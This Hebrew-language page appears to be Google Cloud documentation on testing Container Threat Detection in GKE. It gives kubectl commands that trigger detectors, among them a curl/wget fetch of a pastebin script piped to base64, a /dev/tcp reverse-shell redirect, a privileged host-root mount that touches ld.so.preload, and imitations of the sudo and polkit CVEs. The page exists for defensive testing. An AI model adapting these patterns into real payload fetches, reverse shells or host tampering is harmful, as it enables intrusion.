הליך הבדיקה הזה יוצר ממצא Impact: Suspicious crypto mining activity using the Stratum Protocol שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

יכול להיות שתוצג לכם גם תוצאה נוספת של הפקודה bash שתריצו בבדיקה הזו. זוהי התנהגות רגילה ואפשר להתעלם מהממצא הנוסף.

הופעל סקריפט זדוני

כדי להפעיל ממצא של סקריפט זדוני שהופעל, אפשר להפעיל את הסקריפט במסגרת התהליך הבא במאגר.

התהליך כולל פריסה של התמונה העדכנית של Ubuntu 24.04, העתקה של סקריפט שנראה זדוני ואז הפעלה שלו. כדי להפעיל זיהוי, סקריפט צריך להיראות זדוני לגלאי.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים את התסריט הבא במאגר חדש.

הסקריפט המוטבע הזה של Bourne shell הגיע ממלכודת דבש. עם זאת, הוא שונה כך שהוא לא מפעיל את הקובץ הבינארי הזדוני, לכן הפעלת הסקריפט לא תגרום לפעילות זדונית במאגר התגים. יכול להיות שהקובץ הבינארי בכתובת ה-URL שאליה יש הפניה הוסר, וניסיון להשתמש בכתובת ה-URL יוביל לשגיאה 404. זה תקין. הניסיון להוריד, לפענח ולהפעיל קובץ בינארי באמצעות סקריפט מוטבע הוא מה שמפעיל את הזיהוי.

צומת x86:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

צומת ARM:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

במסגרת הליך הבדיקה הזה נוצר ממצא של Malicious Script Executed שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם רישום ביומן ל-זיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

זוהתה כתובת URL זדונית

כדי להפעיל ממצא מסוג Malicious URL Observed (זוהתה כתובת URL זדונית), מריצים קובץ בינארי ומספקים כתובת URL זדונית כארגומנט.

בדוגמה הבאה מתבצעת פריסה של קובץ אימג' של Ubuntu 24.04 ומופעלת הפקודה /bin/curl כדי לגשת לכתובת URL לדוגמה של תוכנה זדונית מהשירות גלישה בטוחה.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים את הפקודה curl ומזינים כתובת URL זדונית כארגומנט:

צומת x86:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"

צומת ARM:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"

הליך הבדיקה הזה מפעיל ממצא מסוג Malicious URL Observed (זוהתה כתובת URL זדונית) שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן לזיהוי איומים בקונטיינר, גם ב-Cloud Logging. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

התמדה: שינוי ld.so.preload (תצוגה מקדימה)

כדי להפעיל זיהוי שינויים ב-ld.so.preload, משנים את הקובץ /etc/ld.so.preload של המארח. בדוגמה הזו פורס קובץ האימג' האחרון של Ubuntu 24.04, מערכת הקבצים הבסיסית של המארח מותקנת בקונטיינר, ואז מתבצע עדכון של /etc/ld.so.preload.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

הפעלת קובץ בינארי שמשנה את הקובץ /etc/ld.so.preload של המארח.

צומת x86:

tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

צומת ARM:

tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

הליך הבדיקה הזה מפעיל ממצא של שינוי ב-ld.so.preload שאפשר לראות ב-Security Command Center, ואם הגדרתם את רישום ביומן לזיהוי איומים בקונטיינר, גם ב-Cloud Logging. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

הסלמת הרשאות: ניצול לרעה של Sudo להסלמת הרשאות (CVE-2019-14287)

כדי להפעיל ממצא Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), מריצים את קובץ ההפעלה הבינארי sudo עם הפרמטר -u#-1. בדוגמה הזו, הקובץ הבינארי /bin/ls מועתק כדי לחקות את הקובץ הבינארי sudo, והוא מופעל עם הפרמטר שצוין.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מפעילים קובץ בינארי עם /bin/echo הפניה ל-Google Public DNS:

צומת x86:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

צומת ARM:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

במהלך הליך הבדיקה הזה נוצר ממצא Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

הסלמת הרשאות: הפעלה ללא קבצים ב-`/dev/shm`

כדי להפעיל ממצא של Privilege Escalation: Fileless Execution in /dev/shm, צריך להריץ תהליך ממערכת הקבצים בזיכרון של /dev/shm. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הכלי /bin/echo מועתק אל /dev/shm/echo. לאחר מכן מופעל הקובץ הבינארי ששמו שונה. הביצוע של קובץ ב-/dev/shm מסומן כחשוד כי הוא מחקה את ההתנהגות של אובייקט שמנסה לבצע פעולה בזיכרון כדי להימנע מזיהוי מבוסס-קובץ.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

יוצרים קונטיינר עם הרשאות מיוחדות ומריצים תוכנית ממערכת קבצים בזיכרון:

צומת x86:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \
   "$tag"

צומת ARM:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag"

במסגרת הליך הבדיקה הזה נוצר ממצא Privilege Escalation: Fileless Execution in /dev/shm שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

הסלמת הרשאות (privilege escalation): נקודת חולשה של הסלמת הרשאות מקומיות ב-Polkit‏ (CVE-2021-4034)

כדי להפעיל Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)ממצא, מריצים קובץ בינארי של pkexec עם משתנה הסביבה GCONV_PATH שהוגדר כמשתמש לא-בסיסי. בדוגמה הזו, מתבצעת העתקה של הקובץ הבינארי /bin/ls כדי לחקות את הקובץ הבינארי pkexec, והוא מופעל עם הפרמטר שצוין כמזהה משתמש 1000.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מפעילים קובץ בינארי עם /bin/echo הפניה ל-Google Public DNS:

צומת x86:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

צומת ARM:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }, "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

במהלך הליך הבדיקה הזה נוצר ממצא Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

הסלמת הרשאות: פוטנציאל להסלמת הרשאות ב-Sudo‏ (CVE-2021-3156)

כדי להפעיל Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) ממצא, מריצים את קובץ ההפעלה sudo כמשתמש לא-בסיסי עם הפרמטר -s ופרמטר שמסתיים ב-\`. This example copies the/bin/lsbinary to imitate the. קובץ ההפעלה sudo` מופעל עם הפרמטרים שצוינו.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מפעילים קובץ בינארי עם /bin/echo הפניה ל-Google Public DNS:

צומת x86:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

צומת ARM:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 },
   "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

במהלך הליך הבדיקה הזה נוצר ממצא Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

Reverse Shell

כדי להפעיל ממצא של Reverse Shell, צריך להפעיל קובץ בינארי עם הפניה אוטומטית של stdin לשקע מחובר ל-TCP. בדוגמה הזו, המערכת מעתיקה את /bin/echo אל /tmp/sh, ואז מפעילה את /tmp/sh עם הפניה אל Google Public DNS ‏8.8.8.8 ביציאת ה-DNS. לא מודפס כלום כשמריצים את הדוגמה הזו. כדי למנוע הזרקת קוד חיצוני באמצעות מתקפת man-in-the-middle ‏ (MITM), בדוגמה הזו לא נעשה שימוש בקובץ הבינארי /bin/sh.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מפעילים קובץ בינארי עם /bin/echo הפניה ל-Google Public DNS:

צומת x86:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

צומת ARM:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

במסגרת הליך הבדיקה הזה נוצר ממצא של Reverse Shell שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את רישום ביומן עבור זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

Unexpected Child Shell

כדי לבדוק את הגלאי Unexpected Child Shell, אפשר ליצור עץ תהליכים שכולל תהליך צאצא של מעטפת.

בדוגמה הבאה נוצר עץ תהליכים consul->dash, שאפשר לזהות אותו באמצעות גלאי Unexpected Child Shell. הבדיקה הזו בטוחה כי היא משתמשת רק בקבצים בינאריים מובנים. בדוגמה הזו:

יוצרת עותק של התהליך sh ונותנת לו את השם consul.
העתקה של התהליך echo ומתן השם dash.
מפעיל את התהליך המועתק dash בתהליך המועתק consul.

כדי להפעיל ממצא מסוג Unexpected Child Shell:

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

כדי להפעיל מעטפת מדומה, משתמשים בתהליך המדומה consul:

צומת x86:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

צומת ARM:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

במהלך הבדיקה הזו נוצר ממצא Unexpected Child Shell שאפשר לראות ב-Security Command Center. אם הגדרתם את רישום ביומן ל-זיהוי איומים בקונטיינר והפעלתם את Security Command Center Premium או Enterprise ברמת הארגון, תוכלו לראות את הממצא גם ב-Cloud Logging.

המאמרים הבאים

איך משתמשים בזיהוי איומים בקונטיינר

בדיקת זיהוי איומים בקונטיינר קל לארגן דפים בעזרת אוספים אפשר לשמור ולסווג תוכן על סמך ההעדפות שלך.

לפני שמתחילים

הפעלת גלאים

הגדרה של משתני סביבה

נוסף קובץ בינארי שהופעל

‫Added Library Loaded

אוסף: שינוי של Pam.d (תצוגה מקדימה)

Command and Control: Piped Encoded Code Execution

Command and Control: Piped Encoded Download

Command and Control: Steganography Tool Detected

גישה לפרטי כניסה: גישה לקבצים רגישים בצמתים (תצוגה מקדימה)

גישה לפרטי כניסה: מציאת Google Cloud פרטי כניסה

גישה לפרטי כניסה: מודיעין על מפתח GPG

גישה לפרטי כניסה: חיפוש מפתחות פרטיים או סיסמאות

התחמקות מהגנה: שורת פקודה של קובץ ELF בפורמט Base64

התחמקות מהגנה: סקריפט Python שעבר קידוד Base64 הופעל

התחמקות מהגנה: סקריפט מעטפת בקידוד Base64 הופעל

התחמקות מהגנה: השבתה או שינוי של מערכת הביקורת ב-Linux‏ (תצוגה מקדימה)

התחמקות מהגנה: הפעלת כלי קומפילציה של קוד במאגר

התחמקות מהגנה: אישור בסיס הותקן (תצוגה מקדימה)

הפעלה: נוסף קובץ בינארי זדוני שהופעל

ביצוע: נוספה טעינה של ספרייה זדונית

ביצוע: פירצה בקונטיינר

ביצוע: ביצוע ללא קבצים ב-/memfd:

ביצוע: פרצת אבטחה מסוג Ingress Nightmare

ביצוע: הפעלת כלי לתקיפת Kubernetes

ביצוע: הפעלת כלי סיור מקומי

הרצה: בוצע Python זדוני

ביצוע: קובץ בינארי זדוני שונה הופעל

ביצוע: נטען ספרייה זדונית שעברה שינוי

Execution: Netcat Remote Code Execution In Container

ביצוע: אפשרות להרצת פקודות שרירותיות דרך CUPS‏ (CVE-2024-47177)

ביצוע: זוהה ביצוע אפשרי של פקודה מרחוק

ביצוע: הפעלת תוכנית עם סביבת Proxy ל-HTTP לא מורשית

ביצוע: זוהה reverse shell של Socat

ביצוע: שינוי חשוד ב-Cron (תצוגה מקדימה)

ביצוע: נטען אובייקט משותף חשוד של OpenSSL

העברה לא מורשית של נתונים: הפעלת כלים להעתקת קבצים מרחוק בקונטיינר

השפעה: זיהוי של שורות פקודה זדוניות

השפעה: הסרת נתונים בכמות גדולה מהדיסק

השפעה: פעילות חשודה של כריית מטבעות קריפטוגרפיים באמצעות פרוטוקול Stratum

הופעל סקריפט זדוני

זוהתה כתובת URL זדונית

התמדה: שינוי ld.so.preload (תצוגה מקדימה)

הסלמת הרשאות: ניצול לרעה של Sudo להסלמת הרשאות (CVE-2019-14287)

הסלמת הרשאות: הפעלה ללא קבצים ב-/dev/shm

הסלמת הרשאות (privilege escalation): נקודת חולשה של הסלמת הרשאות מקומיות ב-Polkit‏ (CVE-2021-4034)

הסלמת הרשאות: פוטנציאל להסלמת הרשאות ב-Sudo‏ (CVE-2021-3156)

Reverse Shell

Unexpected Child Shell

המאמרים הבאים

בדיקת זיהוי איומים בקונטיינר

ביצוע: ביצוע ללא קבצים ב-`/memfd:`

הסלמת הרשאות: הפעלה ללא קבצים ב-`/dev/shm`